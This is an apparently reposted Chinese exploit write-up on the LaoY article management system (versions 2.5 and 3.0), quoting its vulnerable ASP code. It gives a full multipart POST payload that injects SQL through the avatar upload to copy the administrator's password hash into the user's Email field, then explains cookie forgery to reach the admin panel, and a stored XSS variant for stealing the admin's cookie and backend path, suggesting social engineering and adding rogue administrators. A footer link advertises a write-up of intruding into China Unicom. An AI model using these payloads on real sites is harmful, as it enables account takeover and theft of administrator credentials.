发布日期:2011-05.10
发布作者:xxbing
影响版本:2.5 3.0
漏洞类型:XSS,cookies欺骗
漏洞描述:
User/Upload.asp 文件 34-50 行:
if Uprequest.form("file_Err")0 then
select case Uprequest.form("file_Err")
case 1:str="
"&Uprequest.MaxSize/1024&"K [重新上传]
"
case 2:str="
"
case 3:str="
"
end select
response.write str
else
'注意这里,上传头像成功后,把头像路径更新到了UserFace字段。
sql="Update "&tbname&"_User set UserFace = '"&Uprequest.Form("file")&"' where ID= "&LaoYID
conn.execute(sql)
response.write ""
response.write "
"
conn.close
set conn=nothing
end if
|
60-67 行代码:
'生成头像
'这里要注意,如果不是gif后缀,则对上传的头像进行长、宽处理,所以,为了上传动作顺利进行,大家还是传个gif格式的文件上去
If right(RV_img,4)".gif" then
Dim S_Width,S_Height,H_Temp,W_Temp
S_Width=100
S_Height=100
Set Jpeg = Server.CreateObject("Persits.Jpeg") '创建实例
Path = Server.MapPath(RV_img) '处理图片路径
Jpeg.Open Path '打开图片
|
上传头像抓包内容,我用的火狐浏览器插件livehttp,我这里就不把头部的东西放上来了。发送以下的PostData。
以下是引用片段:
-----------------------------4827543632391rn
Content-Disposition: form-data; name="file" ;filename="c:1.gif"rn
rn
gif87a
123123123123123123123
rn
-----------------------------4827543632391rn
Content-Disposition: form-data; name="file"rn
rn
//重点在这里,DLookup是什么东西,怎么用的,请自行百度、google查询。谢谢
abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
rn
-----------------------------4827543632391rn
Content-Disposition: form-data; name="submit"rn
rn
é?′?rn
-----------------------------4827543632391--rn
|
返回后,可以看到自己EMAIL一项变成了管理员的MD5加密串。老Y文章管理系统作者在MD5.asp里面做了手脚,保存的MD5为前16位,无法破解密文。不过没有关系··
以Cookie欺骗登陆后台···
admin/admin_check.asp:
Dim LaoYAdminID,LaoYAdminName,LaoYAdminPass,IsAdmin,rs5
'太弱了····
LaoYAdminID =LaoYRequest(Request.Cookies("LaoYAdmin")("UserID"))
LaoYAdminName =CheckStr(Request.Cookies("LaoYAdmin")("UserName"))
LaoYAdminPass =CheckStr(Request.Cookies("LaoYAdmin")("UserPass"))
If LaoYAdminID"" and LaoYAdminName"" and LaoYAdminPass"" then
set rs5 = server.CreateObject ("adodb.recordset")
sql="Select Top 1 * from ["&tbname&"_Admin] where id="& LaoYAdminID &" and Admin_Pass='"&LaoYAdminPass&"' and Admin_Name='"&LaoYAdminName&"'"
on error resume next
rs5.open sql,conn,1,1
Dim myadminid,myadminpass,myadminuser
myadminid =rs5("ID")
myadminpass =rs5("Admin_Pass")
myadminuser =rs5("Admin_Name")
myadminip =rs5("Admin_IP")
yaomight =rs5("AdminMight")
yaoadmintype =rs5("AdminType")
yaoadpower =rs5("ADPower")
yaoWritePower =rs5("WritePower")
yaoManagePower =rs5("ManagePower")
rs5.close
set rs5=nothing
'太弱了····
If myadminidInt(LaoYAdminID) or myadminpassLaoYAdminPass or myadminuserLaoYAdminName or myadminipGetIP Then
IsAdmin=0
Else
IsAdmin=1
End if
End if
If IsAdmin1 then
Response.Redirect ""&SitePath&""&SiteAdmin&"/Admin_Login.asp"
End if
%>
|
这个你懂的···读出管理员的 ID、Admin_Pass,name,IP就可以登陆后台了。
我相信实际情况中大部分老Y系统后台都修改了名字,对于这种猥琐至极的管理员,我们就要使用更加超级无敌猥琐的方法···
XSS。。。
POSTDATA中
abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
我们可以这样写
abc',UserIp='',Sex='0
管理员打开后台,查看所有用户列表时,就会被X到了··
至于他什么时候会查看所有用户,我也不知道,相信你能够用社工的手法,让他主动去看你的注册资料。
a.js代码的功能就是捕捉管理员后台地址和cookie地址,如果你想,还可以在里面添加其他猥琐功能,比如自动备份数据,自动添加新的管理员。
那随你了。a.js代码在这里就不提供了。
文章来源于lcx.cc:【0day】老Y文章管理系统漏洞 XSS、Cookies 欺骗
相关推荐: 【转载】渗透中国联通
渗透中国联通 文章作者:Nicholas 渗透联通之旅,原来入侵过四川联通. 今日再次看看.发现一个jsp页面的get连接.就忍不住的想测试 http://www.sc.chinaunicom.com/local/content.jsp?localid=9 先…
评论